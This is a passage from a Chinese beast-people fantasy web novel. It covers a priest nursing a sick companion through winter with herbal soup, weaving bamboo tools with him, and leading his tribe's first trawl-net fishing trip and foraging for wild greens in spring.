没有直接回自家树洞,花时安转头就去了仓库,前阵子晒的鱼腥草,抓一把,前阵子顺道挖的,留着煮汤的石黄皮也来一把,再来上一块生姜,回家煮汤。 生姜驱寒暖身,提高免疫力;石黄皮宁肺止咳;鱼腥草清热解毒,还具有一定的退热作用。 并非专业医生,这种搭配到底有没有效果花时安心里也没底,但这三种植物本就可以直接食用,各有作用,至少搭配在一起不会引发相克。 夜幕降临,被冰霜封冻的森林好似那雪山山顶,寒风刺骨,凛冽的寒意从四面八方袭来,披着羊皮花时安都被冻得直打哆嗦。 手中竹筒烟雾缭绕,步子还不能迈得太大,一不小心汤汤水水就洒了出来。花时安缩着脖子在寒风中行走,十分钟的路程磨蹭了二十分钟,哆哆嗦嗦地走到兽人家树洞口。 顾不上敲门,花时安脚尖勾着竹门轻轻一带,门打开了。他猫着腰钻进树洞,小心翼翼地把两个竹筒放在地上,而后迅速关上竹门,将冰冷的寒意阻隔在外。 “好冷好冷!今天晚上特别冷,感觉要落雪。” 人都冻傻了,花时安两手交错,来回揉搓被冻僵的胳膊。 一路上端着滚烫的竹筒,掌心还有些余热,但搓上一会儿,胳膊没热乎起来,手也凉了,冰块似的。 “时安你过来,我身上暖和。” 躺在床上的莫淮山坐了起来,看着搓手跺脚的花时安,他眉头微蹙,眼底满是担忧。 花时安朝掌心哈了一口热气,飞快地摇摇头,“没事,我缓一缓就好了,你现在是病人,不能把寒气过给你。” 树洞里都不怎么暖和,外面有多冷可想而知,莫淮山急了,见花时安不肯过来,便挪动自己软弱无力的双腿,试图下床。 “欸,别动别动,我过来了。” 寒气也散得差不多了,花时安端着两个竹筒走到床边,伸手递给兽人一个,温声嘱咐:“装得有点满,两只手捧着,小心烫哦,慢慢地喝。” 褐色汤水在竹筒中起伏,清香随热气飘散,莫淮山双手捧着竹筒,喉咙莫名堵得慌,过了许久才重新开口:“谢谢你时安,这么冷的天还要、还要给我煮汤喝。” “汤?这可不是汤。”花时安捧着竹筒坐在床边,用下巴指了指竹筒里的汤汤水水,“这应该算是药,喝了能止咳,能退热,身体能恢复得更快。” 不论汤还是药,都是亚兽人冒着严寒为他煮的。莫淮山能想象到,小小只的亚兽人守着石锅,抱着胳膊蜷成一团,寒风吹过来的时候,他也许冻得瑟瑟发抖。 好似猜到他心中所想,花时安下巴微扬,勾唇轻笑,“感动吗?感动的话,我今晚就睡在你树洞里了。你看,我羊皮都带了。” 莫淮山握竹筒的手猛地一颤,瞪大双眼,不可置信地看着花时安,“那、那怎么能行,你还没有成年,我们还、还没有……” 是不想吗?不,很想,他也想和亚兽亲近,但不能。 这反应也太大了,一看就是想歪了。花时安眼底笑意更浓,故意逗他:“干嘛拒绝得这么快,之前在山上采蜂蜜不是也一起睡过吗?” “那是兽形。”莫淮山义正词严。 花时安无辜眼,“我说的就是变成兽形睡,你……想什么呢?” 终于意识到自己想歪了,莫淮山慌慌张张垂下头,耳尖染上绯色。大概十息之后,他又抬起头,刻意错开视线,小声嘟囔:“兽形也、也不合适,我们睡一个树洞,万一被人看见,对、对你不好。” 不再嬉皮笑脸,花时安眼眸微垂,看着竹筒中的倒影,突然认真:“我不在乎,你晚上又掀羊皮怎么办?我不放心,得守着你。” 第57章 第 57 章 化冻 清晨风格外大, 抵御寒风的竹门被吹得“哐哐”作响。寒意无孔不入,无情卷走洞内温度,但在如同冰窟般的树洞中,有一处地方尤为暖和。 狭窄简陋的矮脚竹床靠墙摆放, 一大一小两张羊皮随意堆在床上。本该在床上睡觉的兽人不见了, 两张羊皮的夹层中鼓着一个小包, 床沿边上隐约能看到一撮黑毛。 小羊皮铺,大羊皮盖,两个毛茸茸小团子躲在羊皮夹层中呼呼大睡。大个黑毛团子像极了猫咪,弯腰卷腹,身体盘成一个圈,将长着棕灰色短毛, 小小只的花栗鼠圈在中间。 软绵绵,暖乎乎,花栗鼠肉嘟嘟的小脸埋在黑色绒毛中,好似钻进蓬松柔软的棉花里,迷你小爪一张一缩,揪着黑毛团子肚皮软毛,粉色鼻头翕动。 好暖和, 好舒服。 风声太大, 太吵了,花时安其实早就醒了, 但寒冷的冬天被一只“猫咪”抱着睡, 简直不要太幸福,谁会舍得在这时候离开温暖的被窝。 睡是睡不着了,但可以撸“猫”。 花时安不大安分的爪子轻轻踩着黑毛团子的肚皮,蓬松柔软的绒毛从四面八方包裹, 整个爪子陷进去的一瞬间,花时安背毛都炸开了,极度舒适。 体型差距较大,以松鼠界最小的松鼠、花栗鼠的视角来看,黑毛团子真就是一头个大、毛厚、性情温良的萌兽,花时安在他怀里疯狂作乱,他也只是圈起大肉垫,把花时安团得更紧了一点。 羊皮透气性差,一直在被窝里闷着,实在憋得慌,最后趴在毛团子肚皮上猛吸一大口,花时安挣脱大爪子的束缚,吭哧吭哧往上爬,从被窝里探出鼠头。 吸上两口新鲜空气,一扭头,一颗黑黢黢的“猫头”映入眼帘,花时安一下子就来兴趣了,小心翼翼凑近,顺毛摸摸黑到反光的脑袋顶,揉揉他湿漉漉的鼻头。 药汤多多少少起了点效果,花时安喝了半竹筒,一觉睡醒浑身舒坦,鼠也精神了。喝了一竹筒半的兽人昨晚便退了烧,只是还有点头晕、咳嗽。 晚上睡不着,白天睡不醒,兽人的作息快日夜颠倒了。到底是个病人,花时安不忍吵醒他,玩了一会儿就此收爪,蹑手蹑脚地起床、下地,这才变回人形。 天气出乎意料的冷,钻出被窝就隐隐感觉到不对劲,但有一身厚实的皮毛抵御寒冷,花时安没当回事。直到变回人形的一瞬间,突如其来的寒意渗入骨髓,花时安冻得一激灵,极大的温差差点直接把他送走。 这也太冷了,降温也不带这么降的吧?! 隐约猜到了什么,花时安呼出一缕白烟,抱着胳膊匆匆走到洞口,缓缓推开竹门。 天空乌云密布,鹅毛大的雪花打着旋儿坠落,仿佛随风纷扬的柳絮,铺天盖地,密密麻麻。 已然下了整整一夜,头顶树梢托着蓬松的雪团,地面铺着厚厚一层,落叶枯枝被积雪覆盖,放眼望去,整片森林皆是白茫茫一片。 好、好大的雪啊!足不出户的花时安哪见过这场面,震惊过后一下就兴奋起来了,浑然忘了雪花所带来的寒冷,一阵风似的冲进雪地里。 也不知道昨晚到底下了多大的雪,地面积雪非常厚,一脚下去陷到脚踝,“嘎吱嘎吱”作响。花时安玩嗨了,伸手接雪花,在雪地里肆意奔跑,留下一串凌乱的脚印。 不过没忘记正事,跑着跑着,花时安跑回自家歪脖子树。 歪脖子树庇护着一方小天地,一整夜过去,堆在树脚下的柴火没有淋到雪,石锅上遮挡灰尘的石板干干净净,唯有装在大石锅的水,在低温中凝结成冰。 冰不算厚,只有面上一层,花时安用石刀将冰层敲碎,舀了些刺骨的冰水倒进小石锅里,随后添柴生火,继续熬煮昨天剩下的药渣。 顺便埋了十多个土豆在草木灰里,花时安匆匆走向歪脖子另一侧。他冒着风雪在树脚下扒拉积雪,把自己栽种蓝莓和生姜幼苗抢救回来,用背篓罩住,再在背篓上压几块石头。 再次走到兽人家树洞,花时安端着两个冒着热气的竹筒,背上多了一个背篓,除了刚刚烤熟的土豆,背篓里还装着竹制棒针,几大卷棕绳,以及插在棕绳上的小骨针。 大雪纷飞的寒冬腊月天,室外活动已成奢望,正式开始过冬了,为了不那么无聊,棕绳便是花时安为自己和兽人准备的玩具。 棕衣、棕裙不够穿? 织,织两条换洗。 骨刀、石刀没地儿装? 织,织个更精致更结实的棕包。 手冷脚冷脖子冷? 织,袜子、袖套、围巾织起来。 闲着也是闲着,花时安带着莫淮山从头织到脚。棕绳霍霍完就霍霍棕片,遮雨挡雪的蓑衣、打扫树洞的扫帚、烤肉刷油的棕刷、坐垫…… 囤的棕片全部霍霍完,花时安又带着兽人折腾起竹子。 竹子能发挥的空间可大多了,洗菜洗肉的淘笼、隔水蒸食物的蒸笼、清洗过滤用的筲箕、挡雨遮阳的斗笠、水瓢汤勺、锅盖…… 营地就剩几捆竹子,大冷天的不想冒着风雪出去砍,花时安和兽人只能省着用,制作出来的竹具偏小,件件都是孤品,只适合留着自家用。 不过没关系,天气回暖再教族人编,部落也会有的。 尤为漫长的冬季,花时安很长时间都和莫淮山待在一起。 早晨扫雪,以免积雪堵住洞口,白天窝在树洞编织,雪停了外出劈竹篾,食物主要以松子、板栗为主,馋慌了就裹着羊皮到歪脖子树下,煮肉,烤土豆。 同吃同干活,同去清理兔窝、羊圈,但两人并未同住。兽人感冒痊愈花时安便开始回自家树洞住,编织器具的战场仍在兽人家,因为兽人的树洞宽敞。 有吃有喝,有遮风挡雪的树洞,这个冬天族人过得非常满意。后几次分发食物的时候还有人在说呢,要是往后每个冬天都能这样过就好了。 被困在树洞靠编织器具度日的花时安:不要啊! 树洞不再是理想居所,洞内空间小,又是纯木结构,不敢在洞内生火做饭、烤火取暖,实在憋屈得很,磕松子都快把人磕上火。 仅过了一个冬,花时安心态发生了微妙的变化,为数不多的斗志被点燃。下一个冬天来临之前,他想要驱寒的炭火,保暖御寒的衣物,五花八门的食物,还想要温暖舒适的房屋。 初春的微风拂过森林,冬日积雪渐渐消融。 涓涓细流沿着树皮蜿蜒而下,银装素裹的树木再次换上新衣裳。土层解冻,河流复苏,杂草破土而出,嫩芽顶破树皮缀在枝头,沉睡的森林就此苏醒,重新焕发生机。 “起床,起床!所有人起床干活!” 静谧祥和的清晨,随着一连串高呼炸响,“嘎吱嘎吱”的碎响充斥着森林。巨树脚下紧闭的竹门接连打开,休息了一整个冬日的人们伸着懒腰,陆续走出树洞。 除了同住一个树洞的族人,其他人都有些日子没见了。走出树洞的人们互相问候、寒暄,三五扎堆往营地走,欢笑声与交谈声萦绕,沉寂已久的森林重新热闹起来。 “雪化得都差不多了,还是冷飕飕的,真烦人呐。” “下雪冷,化雪更冷,再过一阵子就好了。” “哎,冬天过完了,吃了睡睡了吃的日子也结束了。” “怎么,你还想一直窝在树洞里?” “当然了,这种好日子谁不想?” “我就不想!吃了睡睡了吃有什么意思?冬天只能变回兽形吃饭睡觉,活得像个兽一样。我倒是更想过祭司大人说的那种日子,开垦、种植、养羊养兔子,拥有吃不完的食物。” “这样一说好像也是,我也想过那种日子。土地已经化冻了,就是不知道什么时候开始种,好期待啊。” “等族长和祭司大人安排,走,先去把营地收拾一下。” 风停了,雪化了,冬日荒废的营地一片狼藉。 无需族长发号施令,养精蓄锐的族人自个儿便忙活起来,拔杂草、捡枯叶、洗石锅、重新垒火塘…… 收拾竹具晚出门了一小会儿,花时安钻出树洞就看到这美好而和谐的一幕。他拿着竹具的手微微一顿,嘴角不受控制地上扬,眼底漾着浅淡的笑意。 真好啊,冬去春来,万物复苏,部落又重新热闹了起来。 “时安,时安!” 正准备前往营地,一声嘹亮的高呼从身后传来,花时安回过头,见木族长正朝他跑来。 大清早的到处跑,叫族人起床,木族长累得够呛。 他身上裹着羊皮,额间挂着汗珠,鼻尖却冻得通红,好不容易跑到花时安跟前,他又喘得上气不接下气,半天说不出话。 第一次在人脸上看到冷热交织的画面,花时安笑了声,忍不住调侃道:“冬天过得太悠闲了啊族长,长胖了不说,体力也大不如前了,除了吃东西就没离开过床吧?” “好小子,一见面就、就埋汰我。”木族长呼出一口热气,笑着锤了下花时安的胳膊,“先不闹,有、有正事找你。” 木族长还没缓过劲,气息还有些粗重,酝酿半晌没开口。 花时安抬起手,将手中重叠在一起的竹编器具递过去,抢先道:“我也有事找你呢族长,这是我和淮山前些日子在树洞里做的,你拿给青叔他们,让他们有空照着编。” 大到淘笼小到汤勺,十多件精致的竹具重叠在一起,木族长眼睛都直了。浑然忘了找花时安的目的,他赶忙伸手接过竹具,一件件翻看。 “这是做什么用的?这个呢?还有这个,怎么尖尖的。” 年迈的族长秒变小孩,拿着新玩具翻来覆去地看。 考虑到有的竹具比较抽象,花时安从头给他介绍了一遍,“这是筲箕,洗菜过滤用的,这是蒸笼,蒸煮食物的,这个是斗笠,下雨天戴在头上就不用担心淋雨了,还有这……” “能耐啊时安,你这小脑瓜一天咋那么多想法?各有各的作用,这些竹具也太棒了!尤其是这个斗、斗笠?我喜欢这个,送我呗。”木族长把斗笠戴在头上,笑得合不拢嘴。 花时安果断拒绝:“这是样品,就这么一件,要拿给编织竹具的族人看,让他们照着编。” “看着挺复杂的,照着编就能编出来?”木族长摘下斗笠又看了眼,好奇地问。 花时安点点头,“能。竹具无非那几种编织手法,只是细节上面的处理不一样。他们都编多少背篓、簸箕了,放心吧,编一编,摸索摸索就会了,多耽搁点时间而已。” “那就好。”木族长爱不释手地把玩着斗笠,说完忽然又在花时安肩膀上拍了拍,颇为郑重其事道:“辛苦你了时安,这些日子大家都在休息,你还费心编了这么多竹具,都没怎么好好休息吧?” 花时安轻笑一声,抬眸对上木族长的视线,递给他一个意味深长的眼神,“不辛苦,我是祭司嘛,想休息什么时候不能休息。可竹具是我和淮山一起编的,他倒是很辛苦,舍去休息时间编织竹具。” 笑容凝固在脸上,木族长瞪着花时安,没好气地哼了一声,“哼,别以为我不知道你俩天天待在一块,我都还没说你们,你还替他邀上功劳了。” “不算功劳吗?”花时安无辜地眨眨眼。 木族长拿他没办法:“算,行了吧!” 闲聊过后该说正事了,木族长神情逐渐凝重,看向花时安的眼睛里却闪烁着期待,“时安呐,土地也化冻了,我们什么时候开始翻土种土豆啊?” 冬天悄无声息地离开了,余下的寒意依旧徘徊森林中,现在好些植物还没生长出来,能吃的野菜不多,确实是翻土种地的好时候,但…… 花时安不再嬉皮笑脸,捏着下巴若有所思道:“不着急。刚过完冬,仓库里的食物所剩不多,种下去的作物一时半会也不能收获,我们还是要先找点吃的,不然会坐吃山空。” 木族长没多想,当即点点头,抱着竹具就要离开,“成,听你的,那我让他们找野菜去。” “欸!” 话还没说完呢,花时安赶忙叫住他,神秘兮兮道:“族长,让采集队去就行,狩猎队留下,我们去干点别的。” “干什么?”木族长来了兴致。 花时安也不卖关子,直截了当道:“拉网捞鱼。” 第58章 第 58 章 拉网捕鱼 “石头石头, 再多捡点,快!” “木头呢?祭司大人说的轻木头,劈成小块。” “来了来了,他们砍回来了。” …… 朝阳升起, 明媚的阳光洒落在地, 蒙着一层湿气的草地人来人往, 兽人们砍树、捡石头、劈木头,围着一张硕大的渔网忙碌起来。 光秃秃的草地上,棕绳编织的渔网平铺在地,几乎快把整片草地铺满。粗细一致的棕绳纵横交错,结实而规整的网格紧密相连,渔网为双层, 前宽后窄,呈三角形,尾部还拖着一条长长的尾巴。 渔网诞生于花时安的想法,花时安的想法来源于拖网。本来想编织更轻便的手抛网,但手抛网需要技术,花时安担心兽人抛不明白,最终让族人编织成拖网。 不论外形大小, 双层棕网基本等于简易版拖网, 要想投入使用,还需加上浮球与铅坠。于是备好材料后, 花时安和一群兽人蹲在草地, 继续为捕鱼大业添砖加瓦。 撩起边缘垂坠的棕绳,花时安手指灵动翻动,将一块块磨得发亮的鹅卵石绑在底网末端。旁边帮忙的红勇拿起质地较轻的杉木,用棕绳缠绕捆绑, 牢牢固定在上网顶端。 花时安的话如同圣旨,兽人们言听计从,让做什么就做什么,但石头与杉木绑在渔网上到底有什么用,他们好奇地不行,却无一人知晓。 又一块杉木系在渔网上,红勇实在忍不住了,不着痕迹地往旁边挪了几步,凑到花时安身旁,“祭司大人,为什么要给渔网绑上石头和木头?这石头沉甸甸的,不会把网坠到水底吗?” “会啊,就是要让石头带着网沉到水底。”忙着绑石头,花时安头也没抬道。 说完发现周围突然安静下来,花时安手微微一顿,抬起头,惊觉好几个兽人,好几双眼睛正直勾勾地盯着自己。 都这么好奇?花时安笑了声,绑好石头与众人解释:“渔网抓鱼的原理其实和鱼笼是一样的,放在水里拖动渔网,把游动的鱼儿兜进去,困在里面。” “但渔网是软的,在水里展不开,所以要给底网绑上石头,让下面这一层底网沉下去,而上面这一层要浮出水面,绑质地较轻的杉木增加浮力。一下一上,大渔网就像我们的嘴巴,过滤河水,把水中鱼虾兜起来。” 说得非常清楚,不仅解释了石头和轻木的作用,顺带还说明了拖网捕鱼的原理,众人一听就明白了。 “原来是这样!”红云朗恍然大悟,不掩崇拜地看着花时安,眼睛锃亮,“祭司大人你好聪明,得亏遇到外乡人的是你!要是让我遇到,他手把手地教我,我也记不住这么复杂的东西。” 岩秋雨猛猛点头附和:“这渔网密密麻麻,看着我都头疼,真不知道青叔他们是怎么编出来的,更不知道祭司大人是怎么记住的。” “把河水过滤掉,把鱼留下,天啦,想想都能抓好多鱼。祭司大人真的好厉害,感觉这渔网能改变部落,以后再也不用愁鱼吃了。”巨明捧着下巴畅享未来。 嘴巴抹了蜜似的,一个比一个会夸。 红勇不屑与他们为伍(主要是想不到词了),为了显得自己与众不同,故意问道:“祭司大人,你说渔网和鱼笼作用差不多,那我们为什么要编渔网?用竹篾编一个更大更结实的鱼笼不好吗?” 果然,这话一出,立刻引起了花时安注意。 花时安偏头看了他一眼,笑笑道:“渔网更轻便,更柔软,可随时调整角度。至于鱼笼,平常用背篓有注意过吗,就算空隙比较大的背篓浸入水中,猛地一下提起来也会非常沉。鱼笼编织得更加精密,一个又大又沉的鱼笼放在水里,拖得动吗?” “你倒是提醒我了,回头是该编个大鱼笼出来,编好堵在小河与大河的交汇处,估计每天也能收获不少鱼虾。” 听到后面一句,红勇心满意足地笑了。见其他人跃跃欲试也想学他提问,红勇轻咳一声,“别光顾着说话,赶紧动起来,今天还想不想抓鱼了?” 随着红勇一声吼,草地顿时安静下来,兽人手上动作更加迅速,很快便将备好的石头、轻木固定在渔网上。 又大又沉的渔网卷起来,一个背篓都装不下,两个兽人将其抬上,花时安和其他兽人背上背篓,浩浩荡荡地走向河流上游。 出发,去大河里捕鱼! 化雪的季节,林间雪水源源不断涌入河道,小河水流湍急,不适合拉网拖鱼;而大河水深相对平静,河面宽敞,更利于渔网发挥。 而且渔网的尺寸一开始就是按照大河宽度编织的。 天气尚未回暖,河水依旧冰冷刺骨,但斗志昂扬的兽人们没有一丝犹豫,找好位置放下背篓,扑通扑通跳下水,跟下饺子似的。 大河水很深,少说也有三四米,饶是身材高大的兽人也触不到底。好在之前的鱼没白抓,他们水性练出来了,一个个蹬腿划臂,在水中畅游,比鱼还灵活,就是姿势不怎么好看。 渔网入水,兽人们一点点将其抻平,从这一头河岸拉到另一头河岸,横穿河水,正好将整个河面覆盖住。如花时安所说,渔网打开、抻平,坠着石头的底网自动沉入水中,而轻木带着上网漂浮在水面上。 不会水,花时安站在河岸上指挥,直到整张网完全展开,上网如预期般浮出水面,他明显松了一口气,双手捧做喇叭状,朝河面大喊一声:“成了!所有人上岸,一边留一个人把网拉着就行,别让水冲走了。” 拉好网不是就该拖鱼了吗,怎么又要上岸?不明所以的兽人面面相觑,最后还是听从花时安的安排,所有人一同上岸,留下两个人守网。 身上脑袋上全是水,用手稍微擦了下,红勇第一时间找到花时安,“怎么了祭司大人,怎么突然上岸?还不开始吗?” 在水里泡着还没那么冷,上岸被风一吹,嘶,鸡皮疙瘩瞬间冒了起来。 知道他们冷,知道他们着急,但现在还不是拉网的时候,花时安望着略有些浑浊的河面,眼睛眯成一条缝,“再等等,等——” “等?等什么?”红勇迫不及待地追问。 花时安:“第一次下网不太熟练,水都搅浑了。抓鱼动作要轻,要出其不意,动静太大鱼会被吓跑的,得缓一缓,等一等,等鱼放松警惕游回来再拖。” 第一次下网难免激动,一不小心动静弄得太大了。红勇有些懊恼地挠了挠头,无奈呼出一口气,“下次、下次我们会注意的。不过干等着好像也不是个事儿,刚从水里出来冷飕飕的,要不我们顺便在附近找找野菜?” 这话倒是提醒他了,花时安眼睛一亮,两只手轻轻拍了一下,“不找野菜,找野草,给我们的小鱼儿打个窝。” 留下两个兽人看守渔网,其他人背着背篓钻进山林。 大概一个小时后,花时安和一群兽人又回到河岸边,每个人的背篓里都装着翠绿而鲜嫩的青草。 此时河面重归平静,河水愈发清澈,他们将青草揉散开抛入河中,抛在一连串浮木前方,渔网开口处。 没过多久,平静的水面荡开细小的涟漪,好似雨滴砸落河中,一圈一圈又一圈。 这鱼不少啊,花时安屏住呼吸,刻意压低嗓音对红勇说道:“可以开始了。你带一半人从后面游去对岸,其他人跟我留在这边,四个人一组,抓着渔网一起往前走,动作轻一点,慢一点,累了就换人。” 红勇当即点点头,带着几个人走向后方,慢慢滑入水中。 小分队抵达河对岸,拖鱼正式开始。兽人大气都不敢出,抓着网口预留的网纲,站在岸边拖动渔网,一步一步往前走。 拖鱼是个力气活,河水越深、面积越大,河水的阻力也就越明显。河底可能还有沉积的淤泥、石头,一旦缠上底网,拖起来就更费劲了。 前不久还在说冷,拖着渔网走出一段距离,兽人们额间布满了汗珠。他们手臂青筋凸起,粗粝的棕绳勒进掌心,皮肤泛起了异样的红。 浮木随渔网快速移动,涟漪被搅散,鱼群啃食着鲜嫩的青草,殊不知危险降临,一张大网悄无声息地靠近,从四面八方包围,将青草与吃草的鱼群一并兜入网中,一网打尽。 “哗,哗啦啦,哗啦啦——” 河面不再平静,如同一锅烧开的沸水,银鳞翻涌如碎玉,鱼尾疯狂拍打水面,水花四散溅开,带有腥味的水汽在空中飘散。 巴掌大的相继鲫鱼跃出水面,又大又肥的草鱼拼命挣扎,鲤鱼弓着背脊奋力撞向网壁,“哗哗”的水声充斥着耳膜,河面泛起层层白浪。 网越来越沉,兽人咬紧牙关,却连一步也难迈开,而就在这时,一声高呼炸响:“收网,收网,对面的下水,快,把网兜回来!” “扑通扑通”数声响,兽人相继入水,绷成月牙般的棕网被兽人奋力拖拽,渐渐绷成了满月。网口闭合,缓缓拖上岸,霎时,银光亮得刺眼,活鱼堆成山。 第59章 第 59 章 满载而归 咸而湿润的水汽弥漫在空气中, 浓烈的鱼腥味扑面而来。 还没走到营地木族长便闻到一股子味儿,尤其经过关红羊、兔子的树洞,腥味与粪便发酵的味道交织,直冲脑门, 熏得人头脑发昏。 亮着火光的营地银晃晃一片, 背篓里装的、簸箕里晒的、竹竿上晾的, 哪哪都是鱼。本以为下午回来在河边看到的“鱼山”已经够震撼了,谁承想傍晚回来鱼多了一倍不止,密密麻麻,无处安放。 太夸张了,别说是鱼,就算是野菜野果, 他们也没一次性采到过这般多……木族长和外出归来的亚兽人惊呆了。 背篓都顾不上放,木族长四处溜达一圈,找到蹲坐在河边清理鱼虾的花时安,喘着粗气匆匆跑上前,“祭司大人,鱼咋又多了,你们下午又去拉网了?” 小指粗的杂鱼拧去头, 摁着腹部轻轻一挤, 内脏顿时涌出体内。内脏丢进铺着树叶的背篓,杂鱼涮洗干净放进簸箕, 花时安抬头看向木族长, 颔首一笑,“对,下午又去拉了三网,收获还算不错, 这些鱼够我们吃一阵子了。” “不是,咋不带上我呢?” 沉甸甸的背篓坠在身后,站也不是蹲也不是,木族长攥着背绳取下背篓,蹲在花时安身旁,一脸哀怨道:“下午问你你说不去了,明天再去,然后我一出门你们又去了,啥意思,故意不带我?” 又从地上拿起一个小杂鱼,花时安轻笑了一声,“这真不能怪我,要怪就去怪兽人。上午拖了两网,收获不少鱼,我寻思天气还冷,下午就不去了,留在部落把鱼处理一下。” “结果他们玩上瘾了,你们前脚刚走,他们后脚就闹着要去拉鱼,说什么要冷就冷个够,一次性多抓点鱼回来。” “这群小崽子!”木族长气得吹胡子瞪眼,愤愤在大腿上拍了一巴掌,完事儿他又凑到花时安面前,谄媚地笑了笑,“下次去叫我一声呗,明天,明天还去吗?” 花时安摇摇头:“不去了,短时间里都不去了。” 明天不去能理解,短时间里都不去?木族长诧异地挑了下眉,忙地问道:“为什么不去了?食物哪有人嫌多的?熏烤成干鱼也耐放,我们多囤点慢慢吃不好吗?” 谈笑间,最后几条杂鱼清理完了。 花时安在冰冷的河水里搓了搓手,重新抬头看向木族长,神情严肃了几分,“族长,鱼并非凭空冒出来的,也是大鱼生小鱼,小鱼长大再生小鱼,慢慢繁殖才多起来的。过度捕捞它们可能会消失,以后可就再也吃不到鱼了。” “春天了,再过不久天气回暖,鱼也要开始繁殖了,这个时候不去打扰它们,让它们健康长大,以后才能吃到更多鱼。今天我们也网到不少小鱼,都放回河里了。” 一顿饱和顿顿饱,木族长还是分得清,他点点头正要开口,又听花时安补充道:“其实还有个原因。” “什么?”木族长问。 花时安耸了耸肩,两手一摊,“渔网坏了。” “这么快就坏了?”木族长惊了,十多个人编织那么长时间,用一天就坏了? 花时安:“没办法,河里有枯枝、有石头,拖行过程中一不小心剐坏了,不过别担心,破了几个洞而已,补一补还能用。” “那就好。”木族长拍拍胸口,松了一口气,而余光无意扫过簸箕里的小鱼小虾,他眉毛一竖,又瞪大了眼睛,“不是说小鱼都放了吗?簸箕里的啥呢这是,满得都快掉出来了。” “这不是小鱼,是小杂鱼。” “有区别吗?” “有啊,”花时安垂眸看向簸箕,伸手指着形态各异的小杂鱼,挨个儿给族长介绍:“这种浅金色,身上有深色条纹的叫麦穗鱼,这白到发光的叫白条鱼……还有这小虾米叫青虾,它们就这么大的个头,长不大。” 木族长看得认真,若有所思地点点头,“这样啊,但这小杂鱼除了骨头估计没剩多少肉,能好吃吗,咋吃啊?” 杂鱼个头小,除去骨头确实没剩多少肉,而且清理起来极为麻烦,一簸箕杂鱼从回来就开始清理,花时安腿都蹲麻了。 但值得的,小杂鱼的味道相当不错。花时安扭了扭脖子站起身,回头朝木族长扬下巴,“很好吃的,一会儿就知道了。来吧族长,搭把手,先抬回营地。” “我背篓还搁这儿呢。” “等下,等下回来背。” …… 晚饭已经煮上了,今晚自然是全鱼宴。大个草鱼、鲢鱼剁成块,放进石锅里清炖;肉质紧实,脂肪丰厚的黑鱼、鮰鱼串在木棍上,架上火塘慢慢炙烤。 香味随风飘散,渐渐盖过充斥在营地上空的鱼腥味,装着杂鱼的簸箕搬到大石锅跟前,花时安也跟着忙碌起来。 没有植物油,油炸就别想了,但还有一个办法能让不起眼的小杂鱼变得美味可口,那就是煎,干煎。 石锅清洗干净,烧干残留的水珠,花时安挖出一块羊油,用竹片均匀涂抹在石锅上。杂鱼太多,一锅煎不完,羊油融化后,他先下了三分之一的杂鱼。 油与鱼虾碰撞,石锅“滋滋”作响。花时安用竹片将小鱼虾摊开,摊在锅底、锅壁,然后从火堆里取了些干柴出来,用最小的火慢慢烘烤。 干煎杂鱼不用翻面,一面煎完再煎另一面,火一定要小。 香味渐渐迸发出来,应当是有小虾米的缘故,香味特别浓,特别鲜,花时安吸了吸鼻子,嘴巴不受控制地分泌口水。 “祭司大人,你在做什么呀?” “好小的鱼,好香啊,和烤鱼的味道不一样!” 光顾着想吃的,岩知乐和红映兰背着背篓走到面前花时安都没发现。 两人开口说话,花时安这才回过神,指着簸箕里的新鲜杂鱼,轻声细语道:“煎杂鱼呀,就是这种小鱼虾。” “真的好香啊!”岩知乐猛地吸了吸鼻子,旋即取下肩膀上的背篓,凑近石锅仔仔细细地瞧,“下面这些小虾变颜色了耶,熟了吗,可以吃了吗?” 红映兰没说话,直勾勾的眼神不加掩饰。 两个小馋猫讨食来了,花时安伸手拍拍身旁空地,笑笑道:“没熟,还要煎一会儿呢,先坐,想吃就坐下等。” “好哦。” 岩知乐坐在左手边,抢占离花时安最近的位置,随后将背了一路的背篓搬过来,放在两人中间,乐呵呵道:“祭司大人,我们可不是嘴馋,来要吃的,我们还有正事找你。” 看见背篓花时安就猜到了,应该又在森林里找到了新的植物。有新发现是好事儿,但一想到这奖励,花时安头有点疼。 好似猜到他所想,坐在右手边的红映兰明眸稍弯,忽地一笑,“祭司大人别担心,最近部落忙,你也忙,奖励就不用了。只是今天摘了好多野菜我们不认得,不知道能不能吃。” 好多? 花时安来了兴趣,伸手往背篓里一摸,“我先看看。” 早春气温低,本以为森林里没多少野菜,没想到采集队带回来的不少,杂七杂八的加起来十多种,可惜经过花时安辨认,仅有四种能食用。 和筷子一样粗,根根分明,叶片卷成大大卷的红毛蕨;形似大葱的空心植物茎秆,表皮长着紫红色斑点的虎杖。 最让花时安惊喜的是最后两种,一种拇指粗,又细又长的竹笋,如果没认错的话,水竹笋。另一种上绿下白,叶子像葱,根茎像蒜,闻着有浓浓葱蒜气息的——薤白,也就是野葱,又叫作野蒜。 薤白可是个好东西,既能当调味料也能当菜,还是一味中药,搁现代社会都有大把人满山遍野找着吃。 迟迟没找到的调味料,一次性来了个俩,花时安爱不释手地攥着野葱,凑到鼻子底下闻了个够,这才抬头看向两人,“没想到野葱这么快就长出来了,多吗?我手里这个。” “原来叫野葱啊!”岩知乐点点头,“多,这玩意儿成片成片的,就是我们不知道能不能吃,只采了一点回来。” “之后外出多采、不,连根多挖点回来,我们自己栽种,这种野葱超级好吃,还可以当调料。”花时安将野葱递给岩知乐,让他们记住野葱的样子。 红映兰拿起竹笋,问:“那这个呢祭司大人,这个是在两根竹子底下掰的,很细很细,有点像金竹的那种小竹子,是不是你之前说过的竹笋啊?” 花时安:“这应该是水竹笋,和我之前说的不一样,不过也很好吃,碰上了可以多掰一点。还有这个,红毛蕨,蕨菜,味道也相当不错,摘就完事了。” “这个不好吃吗?”岩知乐晃了晃虎杖杆。 可以吃但没必要,花时安迟疑了一瞬,道:“它叫虎杖,可以吃,味道偏酸,不缺野菜吃就没必要采。其他的就不太行了,要么有毒,要么我也不认识,告诉他们之后别采了。” “好的。”岩知乐和红映兰异口同声。 聊完正事也没有离开的意思,看来就等着一口吃的。 可惜才煎好一面,花时安用竹片将锅中小鱼小虾翻了个面,刚刚被小火煎烤的另一面已然变得金黄油亮,酥酥脆脆。 香味更浓了,花时安猛吸一大口,正沉浸在美食的芬芳中,岩知乐忽然开口,问了一个不合时宜的问题:“祭司大人,鱼内脏和动物粪便为什么要挖个坑埋在部落周围呀?丢远点不行吗,臭死了,路过羊圈老远就能闻到。” 脑补能力太强有时候也不见得是好事,话音未落,花时安脑海中一下子就浮现出粪便与内脏融合发酵,又脏又臭的沤凼。 